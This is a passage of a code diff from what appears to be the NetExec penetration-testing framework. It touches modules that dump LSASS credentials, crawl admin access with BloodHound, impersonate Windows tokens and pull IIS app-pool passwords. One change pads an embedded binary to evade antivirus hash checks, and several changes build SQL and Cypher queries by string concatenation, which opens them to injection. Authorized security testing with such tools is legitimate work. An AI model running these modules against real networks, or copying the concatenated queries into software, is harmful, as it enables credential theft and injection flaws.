if not dump:
self.delete_handlekatz_binary(connection, context)
return
else:
if dump:
regex = r"([A-Za-z0-9-]*\.log)"
matches = re.search(regex, str(p), re.MULTILINE)
if not matches:
context.log.display("Error getting the lsass.dmp file name")
return
sys.exit(1)
machine_name = matches.group()
context.log.display(f"Copy {machine_name} to host")
@@ -119,24 +113,32 @@ class NXCModule:
except Exception as e:
context.log.fail(f"Error while get file: {e}")
self.delete_handlekatz_binary()
try:
connection.conn.deleteFile(self.share, self.tmp_share + self.handlekatz)
context.log.success(f"Deleted handlekatz file on the {self.share} share")
except Exception as e:
context.log.fail(f"[OPSEC] Error deleting handlekatz file on share {self.share}: {e}")
try:
connection.conn.deleteFile(self.share, self.tmp_share + machine_name)
context.log.success(f"Deleted lsass.dmp file on the {self.share} share")
except Exception as e:
context.log.fail(f"[OPSEC] Error deleting lsass.dmp file on share {self.share}: {e}")
with open(self.dir_result + machine_name, "rb") as h_in, open(self.dir_result + machine_name + ".decode", "wb") as h_out:
bytes_in = bytearray(h_in.read())
h_in = open(self.dir_result + machine_name, "rb") # noqa: SIM115
h_out = open(self.dir_result + machine_name + ".decode", "wb") # noqa: SIM115
context.log.display(f"Deobfuscating, this might take a while (size: {len(bytes_in)} bytes)")
bytes_in = bytearray(h_in.read())
bytes_in_len = len(bytes_in)
chunks = [bytes_in[i: i + 1000000] for i in range(0, len(bytes_in), 1000000)]
for chunk in chunks:
for i in range(len(chunk)):
chunk[i] ^= 0x41
context.log.display(f"Deobfuscating, this might take a while (size: {bytes_in_len} bytes)")
h_out.write(bytes(chunk))
chunks = [bytes_in[i: i + 1000000] for i in range(0, bytes_in_len, 1000000)]
for chunk in chunks:
for i in range(len(chunk)):
chunk[i] ^= 0x41
h_out.write(bytes(chunk))
with open(self.dir_result + machine_name + ".decode", "rb") as dump:
try:
@@ -180,10 +182,3 @@ class NXCModule:
add_user_bh(credz_bh, None, context.log, connection.config)
except Exception as e:
context.log.fail(f"Error opening dump file: {e}")
def delete_handlekatz_binary(self, connection, context):
try:
connection.conn.deleteFile(self.share, self.tmp_share + self.handlekatz)
context.log.success(f"Deleted handlekatz file on the {self.share} share")
except Exception as e:
context.log.fail(f"[OPSEC] Error deleting handlekatz file on share {self.share}: {e}")
+19 -32
View File
@@ -8,7 +8,6 @@ from lsassy.dumper import Dumper
from lsassy.parser import Parser
from lsassy.session import Session
from lsassy.impacketfile import ImpacketFile
from nxc.helpers.misc import CATEGORY
credentials_data = []
found_users = []
@@ -79,26 +78,26 @@ def process_creds(context, connection, credentials_data, dbconnection, cursor, d
if result["password"] is not None:
context.log.highlight(f"Found a cleartext password for: {username}:{password}. Adding to the DB and marking user as owned in BH.")
cursor.execute(
"UPDATE admin_users SET password = ? WHERE upper(substr(username, 1, ?)) = ?",
[password, len(username), username.upper()],
"UPDATE admin_users SET password = ? WHERE username LIKE '" + username + "%'",
[password],
)
username = f"{username.upper()}@{domain.upper()}"
dbconnection.commit()
session = driver.session()
session.run("MATCH (u) WHERE u.name = $username SET u.owned=True RETURN u,u.name,u.owned", username=username)
session.run('MATCH (u) WHERE (u.name = "' + username + '") SET u.owned=True RETURN u,u.name,u.owned')
if nthash == "aad3b435b51404eeaad3b435b51404ee" or nthash == "31d6cfe0d16ae931b73c59d7e0c089c0":
context.log.fail(f"Hash for {username} is expired.")
elif username not in found_users and nthash is not None:
context.log.highlight(f"Found hashes for: '{username}:{nthash}'. Adding them to the DB and marking user as owned in BH.")
found_users.append(username)
cursor.execute(
"UPDATE admin_users SET hash = ? WHERE upper(substr(username, 1, ?)) = ?",
[nthash, len(username), username.upper()],
"UPDATE admin_users SET hash = ? WHERE username LIKE '" + username + "%'",
[nthash],
)
dbconnection.commit()
username = f"{username.upper()}@{domain.upper()}"
session = driver.session()
session.run("MATCH (u) WHERE u.name = $username SET u.owned=True RETURN u,u.name,u.owned", username=username)
session.run('MATCH (u) WHERE (u.name = "' + username + '") SET u.owned=True RETURN u,u.name,u.owned')
path_to_da = session.run("MATCH p=shortestPath((n)-[*1..]->(m)) WHERE n.owned=true AND m.name=~ '.*DOMAIN ADMINS.*' RETURN p")
paths = list(path_to_da.data())
@@ -118,12 +117,12 @@ def initial_run(connection, cursor):
password = getattr(connection, "password", "")
nthash = getattr(connection, "nthash", "")
cursor.execute(
"UPDATE admin_users SET password = ? WHERE upper(substr(username, 1, ?)) = ?",
[password, len(username), username.upper()],
"UPDATE admin_users SET password = ? WHERE username LIKE '" + username + "%'",
[password],
)
cursor.execute(
"UPDATE admin_users SET hash = ? WHERE upper(substr(username, 1, ?)) = ?",
[nthash, len(username), username.upper()],
"UPDATE admin_users SET hash = ? WHERE username LIKE '" + username + "%'",
[nthash],
)
@@ -131,7 +130,8 @@ class NXCModule:
name = "hash_spider"
description = "Dump lsass recursively from a given hash using BH to find local admins"
supported_protocols = ["smb"]
category = CATEGORY.PRIVILEGE_ESCALATION
opsec_safe = True
multiple_hosts = True
def __init__(self, context=None, module_options=None):
self.context = context
@@ -188,7 +188,7 @@ class NXCModule:
)
if session.smb_session is None:
context.log.fail("Couldn't connect to remote host. Password likely expired/changed. Removing from DB.")
cursor.execute("UPDATE admin_users SET hash = NULL WHERE username = ? COLLATE NOCASE", [f"{username}@{domain_name}"])
cursor.execute(f"UPDATE admin_users SET hash = NULL WHERE username LIKE '{username}'")
return False
dumper = Dumper(session, timeout=10, time_between_commands=7).load(self.method)
if dumper is None:
@@ -198,20 +198,9 @@ class NXCModule:
if file is None:
context.log.fail("Unable to dump lsass")
return False
try:
parsed = Parser(host, file).parse()
finally:
# Delete the remote file even when parsing failed, and even if closing it fails
try:
file.close()
except Exception as e:
context.log.debug(f"Error closing dumper file: {e}")
if not ImpacketFile.delete(session, file.get_file_path()):
context.log.fail(f"[OPSEC] Failed to delete lsassy dumper file: {file.get_file_path()}")
if parsed is None:
context.log.fail("Unable to parse lsass dump")
return False
credentials, tickets, masterkeys = parsed
credentials, tickets, masterkeys = Parser(host, file).parse()
file.close()
ImpacketFile.delete(session, file.get_file_path())
if credentials is None:
credentials = []
credentials = [cred.get_object() for cred in credentials if not cred.get_username().endswith("$")]
@@ -247,7 +236,7 @@ class NXCModule:
for user in compromised_users:
for pc in admin_access:
if user[0] in pc[1]:
cursor.execute("SELECT * FROM pc_and_admins WHERE pc_name = ? AND dumped NOT LIKE 'TRUE'", [pc[0]])
cursor.execute(f"SELECT * FROM pc_and_admins WHERE pc_name = '{pc[0]}' AND dumped NOT LIKE 'TRUE'")
more_to_dump = cursor.fetchall()
if len(more_to_dump) > 0:
context.log.display(f"User {user[0]} has more access to {pc[0]}. Attempting to dump.")
@@ -257,10 +246,8 @@ class NXCModule:
connection.nthash = user[1]
connection.nthash = user[1]
try:
if self.run_lsassy(context, connection, cursor) is False:
context.log.fail(f"Failed to dump lsassy on {pc[0]}")
continue
cursor.execute("UPDATE pc_and_admins SET dumped = 'TRUE' WHERE pc_name = ?", [pc[0]])
self.run_lsassy(context, connection, cursor)
cursor.execute("UPDATE pc_and_admins SET dumped = 'TRUE' WHERE pc_name LIKE '" + pc[0] + "%'")
process_creds(
context,
-53
View File
@@ -1,53 +0,0 @@
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.dcerpc.v5 import rrp
from impacket.examples.secretsdump import RemoteOperations
from nxc.helpers.misc import CATEGORY
class NXCModule:
"""Module by @joaovarelas"""
name = "hyperv-host"
description = "Performs a registry query on the VM to lookup its HyperV Host"
supported_protocols = ["smb"]
category = CATEGORY.ENUMERATION
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
def options(self, context, module_options):
""""""
def on_admin_login(self, context, connection):
self.context = context
path = "SOFTWARE\\Microsoft\\Virtual Machine\\Guest\\Parameters"
key = "HostName"
try:
remote_ops = RemoteOperations(connection.conn, False)
remote_ops.enableRegistry()
ans = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)
reg_handle = ans["phKey"]
# Query
try:
ans = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, path)
key_handle = ans["phkResult"]
data_type, reg_value = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, key)
self.context.log.highlight(f"{key}: {reg_value}")
rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle)
except DCERPCException as e:
self.context.log.debug(f"Registry key {path}\\{key} does not exist: {e}")
except DCERPCException as e:
self.context.log.fail(f"DCERPC Error while querying registry: {e}")
except Exception as e:
self.context.log.fail(f"Error while querying registry: {e}")
finally:
remote_ops.finish()
+6 -5
View File
@@ -1,6 +1,3 @@
from nxc.helpers.misc import CATEGORY
class NXCModule:
"""
Checks for credentials in IIS Application Pool configuration files using appcmd.exe.
@@ -11,10 +8,14 @@ class NXCModule:
name = "iis"
description = "Checks for credentials in IIS Application Pool configuration files using appcmd.exe"
supported_protocols = ["smb"]
category = CATEGORY.CREDENTIAL_DUMPING
opsec_safe = True
multiple_hosts = True
def __init__(self):
pass
def options(self, context, module_options):
"""No options available"""
pass
def on_admin_login(self, context, connection):
self.check_appcmd(context, connection)
+4 -9
View File
@@ -6,8 +6,7 @@
from base64 import b64decode
from os import path
import sys
from datetime import datetime
from nxc.helpers.misc import CATEGORY
from nxc.paths import DATA_PATH
@@ -15,7 +14,8 @@ class NXCModule:
name = "impersonate"
description = "List and impersonate tokens to run command as locally logged on users"
supported_protocols = ["smb"]
category = CATEGORY.PRIVILEGE_ESCALATION
opsec_safe = True # could be flagged
multiple_hosts = True
def options(self, context, module_options):
"""
@@ -29,13 +29,8 @@ class NXCModule:
self.impersonate = "Impersonate.exe"
self.useembeded = True
self.token = self.cmd = ""
with open(path.join(DATA_PATH, ("impersonate_module/impersonate.bs64"))) as impersonate_file:
self.impersonate_embedded = b64decode(impersonate_file.read())
# Add some random binary data to defeat AVs which check the file hash
self.impersonate_embedded += datetime.now().strftime("%Y%m%d%H%M%S").encode()
if "EXEC" in module_options:
self.cmd = module_options["EXEC"]
@@ -101,7 +96,7 @@ class NXCModule:
context.log.fail("Invalid token ID submitted")
except Exception as e:
context.log.fail(f"Error running command: {e}")
context.log.fail(f"Error runing command: {e}")
finally:
try:
connection.conn.deleteFile(self.share, f"{self.tmp_share}{self.impersonate}")
+2 -2
View File
@@ -1,14 +1,14 @@
from impacket.dcerpc.v5 import rrp
from impacket.dcerpc.v5 import scmr
from impacket.examples.secretsdump import RemoteOperations
from nxc.helpers.misc import CATEGORY
class NXCModule:
name = "install_elevated"
description = "Checks for AlwaysInstallElevated"
supported_protocols = ["smb"]
category = CATEGORY.ENUMERATION
opsec_safe = True
multiple_hosts = True
def options(self, context, module_options):
""" """
+12 -18
View File
@@ -4,31 +4,29 @@
# updated by @NeffIsBack
from ipaddress import ip_address
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_NONE, DCERPCException
from impacket.dcerpc.v5.dcomrt import IObjectExporter, IID_IObjectExporter
from nxc.helpers.misc import CATEGORY
from nxc.helpers.rpc import NXCRPCConnection
from impacket.dcerpc.v5.dcomrt import IObjectExporter
class NXCModule:
name = "ioxidresolver"
description = "This module helps you to identify hosts that have additional active interfaces"
supported_protocols = ["smb", "wmi"]
category = CATEGORY.ENUMERATION
opsec_safe = True
multiple_hosts = True
def options(self, context, module_options):
"""DIFFERENT show only ip address if different from target ip (Default: False)"""
self.pivot = module_options.get("DIFFERENT", "false").lower() in ["true", "1"]
"""No module options"""
def on_login(self, context, connection):
try:
portmap = NXCRPCConnection(connection, force_tcp=True).connect(
None,
IID_IObjectExporter,
target_ip=connection.host,
auth_level=RPC_C_AUTHN_LEVEL_NONE,
anonymous_rpc=True,
)
rpctransport = transport.DCERPCTransportFactory(f"ncacn_ip_tcp:{connection.host}")
rpctransport.setRemoteHost(connection.host)
portmap = rpctransport.get_dce_rpc()
portmap.set_auth_level(RPC_C_AUTHN_LEVEL_NONE)
portmap.connect()
objExporter = IObjectExporter(portmap)
bindings = objExporter.ServerAlive2()
@@ -39,11 +37,7 @@ class NXCModule:
NetworkAddr = binding["aNetworkAddr"]
try:
ip_address(NetworkAddr[:-1])
if self.pivot:
if NetworkAddr.rstrip("\x00") != connection.host:
context.log.highlight(f"Address: {NetworkAddr}")
else:
context.log.highlight(f"Address: {NetworkAddr}")
context.log.highlight(f"Address: {NetworkAddr}")
except Exception as e:
context.log.debug(e)
except DCERPCException as e:
Loaded 100 of 258 files, more files were not shown because too many files have changed in this diff. Show more